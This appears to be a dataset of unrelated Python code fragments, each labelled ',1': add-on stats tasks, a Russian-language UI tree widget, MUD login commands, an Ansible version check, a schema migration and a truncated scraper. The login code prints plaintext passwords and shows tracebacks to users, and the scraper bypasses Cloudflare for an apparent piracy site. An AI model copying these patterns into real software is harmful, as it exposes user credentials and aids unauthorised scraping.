= """"""REPLACE INTO global_stats (`name`, `count`, `date`) VALUES (%s, %s, %s)"""""" p = [job, num or 0, date] try: cursor = connection.cursor() cursor.execute(q, p) transaction.commit_unless_managed() except Exception, e: log.critical('Failed to update global stats: (%s): %s' % (p, e)) log.debug('Committed global stats details: (%s) has (%s) for (%s)' % tuple(p)) def _get_daily_jobs(date=None): """"""Return a dictionary of statistics queries. If a date is specified and applies to the job it will be used. Otherwise the date will default to today(). """""" if not date: date = datetime.date.today() # Passing through a datetime would not generate an error, # but would pass and give incorrect values. if isinstance(date, datetime.datetime): raise ValueError('This requires a valid date, not a datetime') # Testing on lte created date doesn't get you todays date, you need to do # less than next date. That's because 2012-1-1 becomes 2012-1-1 00:00 next_date = date + datetime.timedelta(days=1) date_str = date.strftime('%Y-%m-%d') extra = dict(where=['DATE(created)=%s'], params=[date_str]) # If you're editing these, note that you are returning a function! This # cheesy hackery was done so that we could pass the queries to celery # lazily and not hammer the db with a ton of these all at once. stats = { # Add-on Downloads 'addon_total_downloads': lambda: DownloadCount.objects.filter( date__lt=next_date).aggregate(sum=Sum('count'))['sum'], 'addon_downloads_new': lambda: DownloadCount.objects.filter( date=date).aggregate(sum=Sum('count'))['sum'], # Add-on counts 'addon_count_new': Addon.objects.extra(**extra).count, # Version counts 'version_count_new': Version.objects.extra(**extra).count, # User counts 'user_count_total': UserProfile.objects.filter( created__lt=next_date).count, 'user_count_new': UserProfile.objects.extra(**extra).count, # Review counts 'review_count_total': Review.objects.filter(created__lte=date, editorreview=0).count, 'review_count_new': Review.objects.filter(editorreview=0).extra( **extra).count, # Collection counts 'collection_count_total': Collection.objects.filter( created__lt=next_date).count, 'collection_count_new': Collection.objects.extra(**extra).count, 'collection_count_autopublishers': Collection.objects.filter( created__lt=next_date, type=amo.COLLECTION_SYNCHRONIZED).count, 'collection_addon_downloads': (lambda: AddonCollectionCount.objects.filter(date__lte=date).aggregate( sum=Sum('count'))['sum']), } # If we're processing today's stats, we'll do some extras. We don't do # these for re-processed stats because they change over time (eg. add-ons # move from sandbox -> public if date == datetime.date.today(): stats.update({ 'addon_count_experimental': Addon.objects.filter( created__lte=date, status=amo.STATUS_UNREVIEWED, disabled_by_user=0).count, 'addon_count_nominated': Addon.objects.filter( created__lte=date, status=amo.STATUS_NOMINATED, disabled_by_user=0).count, 'addon_count_public': Addon.objects.filter( created__lte=date, status=amo.STATUS_PUBLIC, disabled_by_user=0).count, 'addon_count_pending': Version.objects.filter( created__lte=date, files__status=amo.STATUS_PENDING).count, 'collection_count_private': Collection.objects.filter( created__lte=date, listed=0).count, 'collection_count_public': Collection.objects.filter( created__lte=date, listed=1).count, 'collection_count_editorspicks': Collection.objects.filter( created__lte=date, type=amo.COLLECTION_FEATURED).count, 'collection_count_normal': Collection.objects.filter( created__lte=date, type=amo.COLLECTION_NORMAL).count, }) return stats def _get_metrics_jobs(date=None): """"""Return a dictionary of statistics queries. If a date is specified and applies to the job it will be used. Otherwise the date will default to the last date metrics put something in the db. """""" if not date: date = UpdateCount.objects.aggregate(max=Max('date'))['max'] # If you're editing these, note that you are returning a function! stats = { 'addon_total_updatepings': lambda: UpdateCount.objects.filter( date=date).aggregate(sum=Sum('count'))['sum'], 'collector_updatepings': lambda: UpdateCount.objects.get( addon=11950, date=date).count, } return stats @task def index_update_counts(ids, **kw): index = kw.pop('index', None) indices = get_indices(index) es = amo.search.get_es() qs = UpdateCount.objects.filter(id__in=ids) if qs: log.info('Indexing %s updates for %s.' % (qs.count(), qs[0].date)) try: for update in qs: key = '%s-%s' % (update.addon_id, update.date) data = search.extract_update_count(update) for index in indices: UpdateCount.index(data, bulk=True, id=key, index=index) es.flush_bulk(forced=True) except Exception, exc: index_update_counts.retry(args=[ids], exc=exc, **kw) raise @task def index_download_counts(ids, **kw): index = kw.pop('index', None) indices = get_indices(index) es = amo.search.get_es() qs = DownloadCount.objects.filter(id__in=ids) if qs: log.info('Indexing %s downloads for %s.' % (qs.count(), qs[0].date)) try: for dl in qs: key = '%s-%s' % (dl.addon_id, dl.date) data = search.extract_download_count(dl) for index in indices: DownloadCount.index(data, bulk=True, id=key, index=index) es.flush_bulk(forced=True) except Exception, exc: index_download_counts.retry(args=[ids], exc=exc) raise @task def index_collection_counts(ids, **kw): index = kw.pop('index', None) indices = get_indices(index) es = amo.search.get_es() qs = CollectionCount.objects.filter(collection__in=ids) if qs: log.info('Indexing %s addon collection counts: %s' % (qs.count(), qs[0].date)) try: for collection_count in qs: collection = collection_count.collection_id key = '%s-%s' % (collection, collection_count.date) filters = dict(collection=collection, date=collection_count.date) data = search.extract_addon_collection( collection_count, AddonCollectionCount.objects.filter(**filters), CollectionStats.objects.filter(**filters)) for index in indices: CollectionCount.index(data, bulk=True, id=key, index=index) es.flush_bulk(forced=True) except Exception, exc: index_collection_counts.retry(args=[ids], exc=exc) raise @task def index_theme_user_counts(ids, **kw): index = kw.pop('index', None) indices = get_indices(index) es = amo.search.get_es() qs = ThemeUserCount.objects.filter(id__in=ids) if qs: log.info('Indexing %s theme user counts for %s.' % (qs.count(), qs[0].date)) try: for user_count in qs: key = '%s-%s' % (user_count.addon_id, user_count.date) data = search.extract_theme_user_count(user_count) for index in indices: ThemeUserCount.index(data, bulk=True, id=key, index=index) es.flush_bulk(forced=True) except Exception, exc: index_theme_user_counts.retry(args=[ids], exc=exc) raise @task def update_monolith_stats(metric, date, **kw): log.info('Updating monolith statistics (%s) for (%s)' % (metric, date)) jobs = _get_monolith_jobs(date)[metric] for job in jobs: try: # Only record if count is greater than zero. count = job['count']() if count: value = {'count': count} if 'dimensions' in job: value.update(job['dimensions']) MonolithRecord.objects.create(recorded=date, key=metric, value=json.dumps(value)) log.debug('Monolith stats details: (%s) has (%s) for (%s). ' 'Value: %s' % (metric, count, date, value)) except Exception as e: log.critical('Update of monolith table failed: (%s): %s' % ([metric, date], e)) def _get_monolith_jobs(date=None): """""" Return a dict of Monolith based statistics queries. The dict is of the form:: {'': [{'count': , 'dimensions': }]} Where `dimensions` is an optional dict of dimensions we expect to filter on via Monolith. If a date is specified and applies to the job it will be used. Otherwise the date will default to today(). """""" if not date: date = datetime.date.today() # If we have a datetime make it a date so H/M/S isn't used. if isinstance(date, datetime.datetime): date = date.date() next_date = date + datetime.timedelta(days=1) stats = { # Marketplace reviews. 'apps_review_count_new': [{ 'count': Review.objects.filter( created__range=(date, next_date), editorreview=0, addon__type=amo.ADDON_WEBAPP).count, }], # New users 'mmo_user_count_total': [{ 'count': UserProfile.objects.filter( created__lt=next_date, source=amo.LOGIN_SOURCE_MMO_BROWSERID).count, }], 'mmo_user_count_new': [{ 'count': UserProfile.objects.filter( created__range=(date, next_date), source=amo.LOGIN_SOURCE_MMO_BROWSERID).count, }], # New developers. 'mmo_developer_count_total': [{ 'count': AddonUser.objects.filter( addon__type=amo.ADDON_WEBAPP).values('user').distinct().count, }], # App counts. 'apps_count_new': [{ 'count': Webapp.objects.filter( created__range=(date, next_date)).count, }], } # Add various ""Apps Added"" for all the dimensions we need. apps = Webapp.objects.filter(created__range=(date, next_date)) package_counts = [] premium_counts = [] # privileged==packaged for our consideration. package_types = amo.ADDON_WEBAPP_TYPES.copy() package_types.pop(amo.ADDON_WEBAPP_PRIVILEGED) for region_slug, region in REGIONS_CHOICES_SLUG: # Apps added by package type and region. for package_type in package_types.values(): package_counts.append({ 'count': apps.filter( is_packaged=package_type == 'packaged').exclude( addonexcludedregion__region=region.id).count, 'dimensions': {'region': region_slug, 'package_type': package_type}, }) # Apps added by premium type and region. for premium_type, pt_name in amo.ADDON_PREMIUM_API.items(): premium_counts.append({ 'count': apps.filter( premium_type=premium_type).exclude( addonexcludedregion__region=region.id).count, 'dimensions': {'region': region_slug, 'premium_type': pt_name}, }) stats.update({'apps_added_by_package_type': package_counts}) stats.update({'apps_added_by_premium_type': premium_counts}) # Add various ""Apps Available"" for all the dimensions we need. apps = Webapp.objects.filter(status=amo.STATUS_PUBLIC, disabled_by_user=False) package_counts = [] premium_counts = [] for region_slug, region in REGIONS_CHOICES_SLUG: # Apps available by package type and region. for package_type in package_types.values(): package_counts.append({ 'count': apps.filter( is_packaged=package_type == 'packaged').exclude( addonexcludedregion__region=region.id).count, 'dimensions': {'region': region_slug, 'package_type': package_type}, }) # Apps available by premium type and region. for premium_type, pt_name in amo.ADDON_PREMIUM_API.items(): premium_counts.append({ 'count': apps.filter( premium_type=premium_type).exclude( addonexcludedregion__region=region.id).count, 'dimensions': {'region': region_slug, 'premium_type': pt_name}, }) stats.update({'apps_available_by_package_type': package_counts}) stats.update({'apps_available_by_premium_type': premium_counts}) return stats ",1 "m3_ext.ui import containers from m3_ext.ui import controls from m3_ext.ui import menus from m3_ext.ui import render_component from m3_ext.ui.fields import ExtSearchField class ExtObjectTree(containers.ExtTree): """""" Панель с деревом для управления списком объектов. """""" #========================================================================== # Внутренние классы для ExtObjectTree #========================================================================== class TreeContextMenu(menus.ExtContextMenu): """""" Внутренний класс для удобной работы с контекстным меню дерева """""" def __init__(self, *args, **kwargs): super( ExtObjectTree.TreeContextMenu, self ).__init__( *args, **kwargs ) self.menuitem_new = menus.ExtContextMenuItem( text=u'Новый в корне', icon_cls='add_item', handler='contextMenuNewRoot' ) self.menuitem_new_child = menus.ExtContextMenuItem( text=u'Новый дочерний', icon_cls='add_item', handler='contextMenuNewChild' ) self.menuitem_edit = menus.ExtContextMenuItem( text=u'Изменить', icon_cls='edit_item', handler='contextMenuEdit' ) self.menuitem_delete = menus.ExtContextMenuItem( text=u'Удалить', icon_cls='delete_item', handler='contextMenuDelete' ) self.menuitem_separator = menus.ExtContextMenuSeparator() self.init_component() class TreeTopBar(containers.ExtToolBar): """""" Внутренний класс для удобной работы топбаром грида """""" def __init__(self, *args, **kwargs): super(ExtObjectTree.TreeTopBar, self).__init__(*args, **kwargs) self.button_new = menus.ExtContextMenuItem( text=u'Новый в корне', icon_cls='add_item', handler='topBarNewRoot' ) self.button_new_child = menus.ExtContextMenuItem( text=u'Новый дочерний', icon_cls='add_item', handler='topBarNewChild' ) self.button_edit = controls.ExtButton( text=u'Изменить', icon_cls='edit_item', handler='topBarEdit' ) self.button_delete = controls.ExtButton( text=u'Удалить', icon_cls='delete_item', handler='topBarDelete' ) self.button_refresh = controls.ExtButton( text=u'Обновить', icon_cls='refresh-icon-16', handler='topBarRefresh' ) menu = menus.ExtContextMenu() menu.items.append(self.button_new) menu.items.append(self.button_new_child) self.add_menu = containers.ExtToolbarMenu( icon_cls=""add_item"", menu=menu, text=u'Добавить' ) self.init_component() #========================================================================== # Собственно определение класса ExtObjectTree #========================================================================== def __init__(self, *args, **kwargs): super(ExtObjectTree, self).__init__(*args, **kwargs) self.template = 'ext-trees/ext-object-tree.js' #====================================================================== # Действия, выполняемые изнутри грида #====================================================================== self.action_new = None self.action_edit = None self.action_delete = None self.action_data = None #====================================================================== # Источник данных для грида #====================================================================== self.load_mask = True self.row_id_name = 'id' self.parent_id_name = 'parent_id' self.allow_paging = False #====================================================================== # Контекстное меню и бары дерева #====================================================================== self.context_menu_row = ExtObjectTree.TreeContextMenu() self.context_menu_tree = ExtObjectTree.TreeContextMenu() self.top_bar = ExtObjectTree.TreeTopBar() self.top_bar.items.append(self.top_bar.add_menu) self.top_bar.items.append(self.top_bar.button_edit) self.top_bar.items.append(self.top_bar.button_delete) self.top_bar.items.append(self.top_bar.button_refresh) self.dblclick_handler = 'onEditRecord' # Признак ""Сортировки папок"" # если true, то папки всегда будут выше простых элементов # иначе, сортируются как элементы self.folder_sort = True # Возможность сортировки в дереве self.enable_tree_sort = True # После редактирования и добавления обновляется только тот узел дерева, # в котором произошли изменения self.incremental_update = False # Список исключений для make_read_only self._mro_exclude_list = [] self.init_component() def add_search_field(self): u""""""Добавляет строку поиска в гриде."""""" self.top_bar.search_field = ExtSearchField( empty_text=u'Поиск', width=200, component_for_search=self) self.top_bar.add_fill() self.top_bar.items.append(self.top_bar.search_field) self._mro_exclude_list.append(self.top_bar.search_field) def render(self): """""" Переопределяем рендер дерева для того, чтобы модифицировать содержимое его панелей и контекстных меню """""" if self.action_new: self.context_menu_row.items.append( self.context_menu_row.menuitem_new) self.context_menu_row.items.append( self.context_menu_row.menuitem_new_child) self.context_menu_tree.items.append( self.context_menu_tree.menuitem_new) if self.action_edit: self.context_menu_row.items.append( self.context_menu_row.menuitem_edit) self.handler_dblclick = self.dblclick_handler if self.action_delete: self.context_menu_row.items.append( self.context_menu_row.menuitem_delete) # контекстное меню прицепляется к гриду только в том случае, если # в нем есть хотя бы один пункт if self.context_menu_tree.items: self.handler_contextmenu = self.context_menu_tree if self.context_menu_row.items: self.handler_rowcontextmenu = self.context_menu_row #====================================================================== # Настройка top bar #====================================================================== for action, btn in ( (self.action_new, self.top_bar.add_menu), (self.action_edit, self.top_bar.button_edit), (self.action_delete, self.top_bar.button_delete), (self.action_data, self.top_bar.button_refresh), ): if not action and btn in self.top_bar.items: self.top_bar.items.remove(btn) # тонкая настройка self.store if not self.url and self.action_data: self.url = get_url(self.action_data) self.render_base_config() self.render_params() return render_component(self) def render_params(self): super(ExtObjectTree, self).render_params() get_url_or_none = lambda x: get_url(x) if x else None new_url = get_url_or_none(self.action_new) edit_url = get_url_or_none(self.action_edit) delete_url = get_url_or_none(self.action_delete) data_url = get_url_or_none(self.action_data) context_json = ( self.action_context.json if self.action_context else None ) self._put_params_value( 'actions', { 'newUrl': new_url, 'editUrl': edit_url, 'deleteUrl': delete_url, 'dataUrl': data_url, 'contextJson': context_json } ) self._put_params_value('rowIdName', self.row_id_name) self._put_params_value('parentIdName', self.parent_id_name) self._put_params_value('folderSort', self.folder_sort) self._put_params_value('enableTreeSort', self.enable_tree_sort) self._put_params_value('incrementalUpdate', self.incremental_update) def t_render_base_config(self): return self._get_config_str() def t_render_params(self): return self._get_params_str() ",1 "t PlayerDB from src.objects.models import ObjectDB from src.server.models import ServerConfig from src.comms.models import Channel from src.utils import create, logger, utils, ansi from src.commands.default.muxcommand import MuxCommand from src.commands.cmdhandler import CMD_LOGINSTART # limit symbol import for API __all__ = (""CmdUnconnectedConnect"", ""CmdUnconnectedCreate"", ""CmdUnconnectedQuit"", ""CmdUnconnectedLook"", ""CmdUnconnectedHelp"", ""Magic"") CONNECTION_SCREEN_MODULE = settings.CONNECTION_SCREEN_MODULE CONNECTION_SCREEN = """" try: CONNECTION_SCREEN = ansi.parse_ansi(utils.string_from_module(CONNECTION_SCREEN_MODULE)) except Exception: pass if not CONNECTION_SCREEN: CONNECTION_SCREEN = ""\nEvennia: Error in CONNECTION_SCREEN MODULE (randomly picked connection screen variable is not a string). \nEnter 'help' for aid."" class Magic(MuxCommand): """""" Hidden command for the web client's magic cookie authenticator. """""" key = ""magic"" def func(self): session = self.caller player = PlayerDB.objects.player_search(self.lhs) if len(player) != 1: player = None else: player = player[0] if player.name.lower() != self.lhs.lower(): player=None pswd = None if player: pswd = self.rhs == player.db.magic_cookie if not (player and pswd): # No playername or password match session.msg(""Could not verify Magic Cookie. Please email the server administrator for assistance."") return # Check IP and/or name bans bans = ServerConfig.objects.conf(""server_bans"") if bans and (any(tup[0]==player.name for tup in bans) or any(tup[2].match(session.address[0]) for tup in bans if tup[2])): # this is a banned IP or name! string = ""{rYou have been banned and cannot continue from here."" string += ""\nIf you feel this ban is in error, please email an admin.{x"" session.msg(string) session.execute_cmd(""quit"") return session.sessionhandler.login(session, player) class Connect(MuxCommand): """""" Connect to the game. Usage (at login screen): connect playername password connect ""player name"" ""pass word"" Use the create command to first create an account before logging in. If you have spaces in your name, enclose it in quotes. """""" key = ""connect"" aliases = [""conn"", ""con"", ""co""] locks = ""cmd:all()"" # not really needed def func(self): """""" Uses the Django admin api. Note that unlogged-in commands have a unique position in that their func() receives a session object instead of a source_object like all other types of logged-in commands (this is because there is no object yet before the player has logged in) """""" session = self.caller args = self.args # extract quoted parts parts = [part.strip() for part in re.split(r""\""|\'"", args) if part.strip()] if len(parts) == 1: # this was (hopefully) due to no quotes being found parts = parts[0].split(None, 1) if len(parts) != 2: session.msg(""\n\r Usage (without <>): connect "") return playername, password = parts # Match account name and check password player = PlayerDB.objects.player_search(playername) if len(player) != 1: player = None else: player = player[0] if player.name.lower() != playername.lower(): player=None pswd = None if player: pswd = player.check_password(password) if not (player and pswd): # No playername or password match string = ""Wrong login information given.\nIf you have spaces in your name or "" string += ""password, don't forget to enclose it in quotes. Also capitalization matters."" string += ""\nIf you are new you should first create a new account "" string += ""using the 'create' command."" session.msg(string) return # Check IP and/or name bans bans = ServerConfig.objects.conf(""server_bans"") if bans and (any(tup[0]==player.name for tup in bans) or any(tup[2].match(session.address[0]) for tup in bans if tup[2])): # this is a banned IP or name! string = ""{rYou have been banned and cannot continue from here."" string += ""\nIf you feel this ban is in error, please email an admin.{x"" session.msg(string) session.execute_cmd(""quit"") return # actually do the login. This will call all other hooks: # session.at_init() # if character: # at_first_login() # only once # at_pre_login() # player.at_post_login() - calls look if no character is set # character.at_post_login() - this calls look command by default session.sessionhandler.login(session, player) class Create(MuxCommand): """""" Create a new account. Usage (at login screen): create create ""player name"" ""pass word"" This creates a new player account. If you have spaces in your name, enclose it in quotes. """""" key = ""create"" aliases = [""cre"", ""cr""] locks = ""cmd:all()"" def func(self): ""Do checks and create account"" session = self.caller args = self.args.strip() # extract quoted parts parts = [part.strip() for part in re.split(r""\""|\'"", args) if part.strip()] if len(parts) == 1: # this was (hopefully) due to no quotes being found parts = parts[0].split(None, 1) if len(parts) != 2: string = ""\n Usage (without <>): create "" string += ""\nIf or contains spaces, enclose it in quotes."" session.msg(string) return playername, password = parts print ""playername '%s', password: '%s'"" % (playername, password) # sanity checks if not re.findall('^[\w. @+-]+$', playername) or not (0 < len(playername) <= 30): # this echoes the restrictions made by django's auth module (except not # allowing spaces, for convenience of logging in). string = ""\n\r Playername can max be 30 characters or fewer. Letters, spaces, digits and @/./+/-/_ only."" session.msg(string) return # strip excessive spaces in playername playername = re.sub(r""\s+"", "" "", playername).strip() if PlayerDB.objects.filter(user__username__iexact=playername) or PlayerDB.objects.filter(username__iexact=playername): # player already exists (we also ignore capitalization here) session.msg(""Sorry, there is already a player with the name '%s'."" % playername) return if not re.findall('^[\w. @+-]+$', password) or not (3 < len(password)): string = ""\n\r Password should be longer than 3 characers. Letters, spaces, digits and @\.\+\-\_ only."" string += ""\nFor best security, make it longer than 8 characters. You can also use a phrase of"" string += ""\nmany words if you enclose the password in quotes."" session.msg(string) return # everything's ok. Create the new player account. try: default_home = ObjectDB.objects.get_id(settings.CHARACTER_DEFAULT_HOME) typeclass = settings.BASE_CHARACTER_TYPECLASS permissions = settings.PERMISSION_PLAYER_DEFAULT try: new_character = create.create_player(playername, None, password, permissions=permissions, character_typeclass=typeclass, character_location=default_home, character_home=default_home) except Exception: session.msg(""There was an error creating the default Character/Player:\n%s\n If this problem persists, contact an admin."") return new_player = new_character.player # This needs to be called so the engine knows this player is logging in for the first time. # (so it knows to call the right hooks during login later) utils.init_new_player(new_player) # join the new player to the public channel pchanneldef = settings.CHANNEL_PUBLIC if pchanneldef: pchannel = Channel.objects.get_channel(pchanneldef[0]) if not pchannel.connect_to(new_player): string = ""New player '%s' could not connect to public channel!"" % new_player.key logger.log_errmsg(string) # allow only the character itself and the player to puppet this character (and Immortals). new_character.locks.add(""puppet:id(%i) or pid(%i) or perm(Immortals) or pperm(Immortals)"" % (new_character.id, new_player.id)) # If no description is set, set a default description if not new_character.db.desc: new_character.db.desc = ""This is a Player."" # tell the caller everything went well. string = ""A new account '%s' was created. Welcome!"" if "" "" in playername: string += ""\n\nYou can now log in with the command 'connect \""%s\"" '."" else: string += ""\n\nYou can now log with the command 'connect %s '."" session.msg(string % (playername, playername)) except Exception: # We are in the middle between logged in and -not, so we have to handle tracebacks # ourselves at this point. If we don't, we won't see any errors at all. string = ""%s\nThis is a bug. Please e-mail an admin if the problem persists."" session.msg(string % (traceback.format_exc())) logger.log_errmsg(traceback.format_exc()) class CmdUnconnectedQuit(MuxCommand): """""" We maintain a different version of the quit command here for unconnected players for the sake of simplicity. The logged in version is a bit more complicated. """""" key = ""quit"" aliases = [""q"", ""qu""] locks = ""cmd:all()"" def func(self): ""Simply close the connection."" session = self.caller session.msg(""Good bye! Disconnecting ..."") session.session_disconnect() class CmdUnconnectedLook(MuxCommand): """""" This is an unconnected version of the look command for simplicity. This is called by the server and kicks everything in gear. All it does is display the connect screen. """""" key = CMD_LOGINSTART aliases = [""look"", ""l""] locks = ""cmd:all()"" def func(self): ""Show the connect screen."" self.caller.msg(CONNECTION_SCREEN) class CmdUnconnectedHelp(MuxCommand): """""" This is an unconnected version of the help command, for simplicity. It shows a pane of info. """""" key = ""help"" aliases = [""h"", ""?""] locks = ""cmd:all()"" def func(self): ""Shows help"" string = \ """""" You are not yet logged into the game. Commands available at this point: {wcreate, connect, look, help, quit{n To login to the system, you need to do one of the following: {w1){n If you have no previous account, you need to use the 'create' command. {wcreate Anna c67jHL8p{n Note that if you use spaces in your name, you have to enclose in quotes. {wcreate ""Anna the Barbarian"" c67jHL8p{n It's always a good idea (not only here, but everywhere on the net) to not use a regular word for your password. Make it longer than 6 characters or write a passphrase. {w2){n If you have an account already, either because you just created one in {w1){n above or you are returning, use the 'connect' command: {wconnect Anna c67jHL8p{n (Again, if there are spaces in the name you have to enclose it in quotes). This should log you in. Run {whelp{n again once you're logged in to get more aid. Hope you enjoy your stay! You can use the {wlook{n command if you want to see the connect screen again. """""" self.caller.msg(string) ",1 "_ from ansible.errors import AnsibleError from distutils.version import LooseVersion from operator import eq, ge, gt from sys import version_info try: from __main__ import display except ImportError: from ansible.utils.display import Display display = Display() version_requirement = '2.5.0.0' version_tested_max = '2.7.5' python3_required_version = '2.5.3' if version_info[0] == 3 and not ge(LooseVersion(__version__), LooseVersion(python3_required_version)): raise AnsibleError(('Ansible >= {} is required when using Python 3.\n' 'Either downgrade to Python 2 or update your Ansible version to {}.').format(python3_required_version, python3_required_version)) if not ge(LooseVersion(__version__), LooseVersion(version_requirement)): raise AnsibleError(('Trellis no longer supports Ansible {}.\n' 'Please upgrade to Ansible {} or higher.').format(__version__, version_requirement)) elif gt(LooseVersion(__version__), LooseVersion(version_tested_max)): display.warning(u'You Ansible version is {} but this version of Trellis has only been tested for ' u'compatability with Ansible {} -> {}. It is advisable to check for Trellis updates or ' u'downgrade your Ansible version.'.format(__version__, version_requirement, version_tested_max)) if eq(LooseVersion(__version__), LooseVersion('2.5.0')): display.warning(u'You Ansible version is {}. Consider upgrading your Ansible version to avoid ' u'erroneous warnings such as `Removed restricted key from module data...`'.format(__version__)) # Import BaseVarsPlugin after Ansible version check. # Otherwise import error for Ansible versions older than 2.4 would prevent display of version check message. from ansible.plugins.vars import BaseVarsPlugin class VarsModule(BaseVarsPlugin): def get_vars(self, loader, path, entities, cache=True): return {} ",1 "hemaMigration): def forwards(self, orm): # Deleting model 'Participant' db.delete_table(u'pa_participant') # Removing M2M table for field user on 'Participant' db.delete_table('pa_participant_user') # Adding M2M table for field user on 'ReportingPeriod' db.create_table(u'pa_reportingperiod_user', ( ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)), ('reportingperiod', models.ForeignKey(orm[u'pa.reportingperiod'], null=False)), ('user', models.ForeignKey(orm[u'pa.user'], null=False)) )) db.create_unique(u'pa_reportingperiod_user', ['reportingperiod_id', 'user_id']) def backwards(self, orm): # Adding model 'Participant' db.create_table(u'pa_participant', ( (u'id', self.gf('django.db.models.fields.AutoField')(primary_key=True)), ('reporting_period', self.gf('django.db.models.fields.related.ForeignKey')(to=orm['pa.ReportingPeriod'])), )) db.send_create_signal(u'pa', ['Participant']) # Adding M2M table for field user on 'Participant' db.create_table(u'pa_participant_user', ( ('id', models.AutoField(verbose_name='ID', primary_key=True, auto_created=True)), ('participant', models.ForeignKey(orm[u'pa.participant'], null=False)), ('user', models.ForeignKey(orm[u'pa.user'], null=False)) )) db.create_unique(u'pa_participant_user', ['participant_id', 'user_id']) # Removing M2M table for field user on 'ReportingPeriod' db.delete_table('pa_reportingperiod_user') models = { u'auth.group': { 'Meta': {'object_name': 'Group'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '80'}), 'permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u""orm['auth.Permission']"", 'symmetrical': 'False', 'blank': 'True'}) }, u'auth.permission': { 'Meta': {'ordering': ""(u'content_type__app_label', u'content_type__model', u'codename')"", 'unique_together': ""((u'content_type', u'codename'),)"", 'object_name': 'Permission'}, 'codename': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'content_type': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['contenttypes.ContentType']""}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '50'}) }, u'contenttypes.contenttype': { 'Meta': {'ordering': ""('name',)"", 'unique_together': ""(('app_label', 'model'),)"", 'object_name': 'ContentType', 'db_table': ""'django_content_type'""}, 'app_label': ('django.db.models.fields.CharField', [], {'max_length': '100'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'model': ('django.db.models.fields.CharField', [], {'max_length': '100'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '100'}) }, u'pa.activity': { 'Meta': {'object_name': 'Activity'}, 'category': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['pa.Category']""}), 'description': ('django.db.models.fields.CharField', [], {'max_length': '200'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}) }, u'pa.activityentry': { 'Meta': {'object_name': 'ActivityEntry'}, 'activity': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['pa.Activity']""}), 'day': ('django.db.models.fields.CharField', [], {'max_length': '10'}), 'hour': ('django.db.models.fields.IntegerField', [], {}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'slot': ('django.db.models.fields.IntegerField', [], {}), 'user': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['pa.User']""}) }, u'pa.category': { 'Meta': {'object_name': 'Category'}, 'description': ('django.db.models.fields.CharField', [], {'max_length': '200'}), 'grouping': ('django.db.models.fields.CharField', [], {'default': ""'d'"", 'max_length': '15'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'reporting_period': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['pa.ReportingPeriod']""}) }, u'pa.profession': { 'Meta': {'object_name': 'Profession'}, u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '60'}) }, u'pa.reportingperiod': { 'Meta': {'object_name': 'ReportingPeriod'}, 'end_date': ('django.db.models.fields.DateTimeField', [], {}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'name': ('django.db.models.fields.CharField', [], {'max_length': '120'}), 'slots_per_hour': ('django.db.models.fields.IntegerField', [], {}), 'start_date': ('django.db.models.fields.DateTimeField', [], {}), 'user': ('django.db.models.fields.related.ManyToManyField', [], {'to': u""orm['pa.User']"", 'symmetrical': 'False'}) }, u'pa.user': { 'Meta': {'object_name': 'User'}, 'date_joined': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'email': ('django.db.models.fields.EmailField', [], {'max_length': '75', 'blank': 'True'}), 'first_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'groups': ('django.db.models.fields.related.ManyToManyField', [], {'to': u""orm['auth.Group']"", 'symmetrical': 'False', 'blank': 'True'}), u'id': ('django.db.models.fields.AutoField', [], {'primary_key': 'True'}), 'is_active': ('django.db.models.fields.BooleanField', [], {'default': 'True'}), 'is_staff': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'is_superuser': ('django.db.models.fields.BooleanField', [], {'default': 'False'}), 'last_login': ('django.db.models.fields.DateTimeField', [], {'default': 'datetime.datetime.now'}), 'last_name': ('django.db.models.fields.CharField', [], {'max_length': '30', 'blank': 'True'}), 'password': ('django.db.models.fields.CharField', [], {'max_length': '128'}), 'profession': ('django.db.models.fields.related.ForeignKey', [], {'to': u""orm['pa.Profession']"", 'null': 'True', 'blank': 'True'}), 'user_permissions': ('django.db.models.fields.related.ManyToManyField', [], {'to': u""orm['auth.Permission']"", 'symmetrical': 'False', 'blank': 'True'}), 'username': ('django.db.models.fields.CharField', [], {'unique': 'True', 'max_length': '30'}) } } complete_apps = ['pa']",1 "..#.##......###...#.##....#.##....#.##.....#...##.##..##.....#.##......##.....#.##....## # .##.....#.##.....#.##......####..#.##......##......##.....#..##...##.##.....#.##......##.....#.##...... # .##.....#.########.######..##.##.#..######.##......########.##.....#.########.######..########..######. # .##.....#.##.......##......##..###.......#.##......##...##..########.##.......##......##...##........## # .##.....#.##.......##......##...##.##....#.##....#.##....##.##.....#.##.......##......##....##.##....## # ..#######.##.......#######.##....#..######..######.##.....#.##.....#.##.......#######.##.....#..######. ''' OpenScrapers Project This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation, either version 3 of the License, or (at your option) any later version. This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details. You should have received a copy of the GNU General Public License along with this program. If not, see . ''' import re from openscrapers.modules import cleantitle, source_utils, cfscrape class source: def __init__(self): self.priority = 1 self.language = ['en'] self.domains = ['coolmoviezone.online'] self.base_link = 'https://coolmoviezone.online' self.scraper = cfscrape.create_scraper() def movie(self, imdb, title, localtitle, aliases, year): try: title = cleantitle.geturl(title) url = 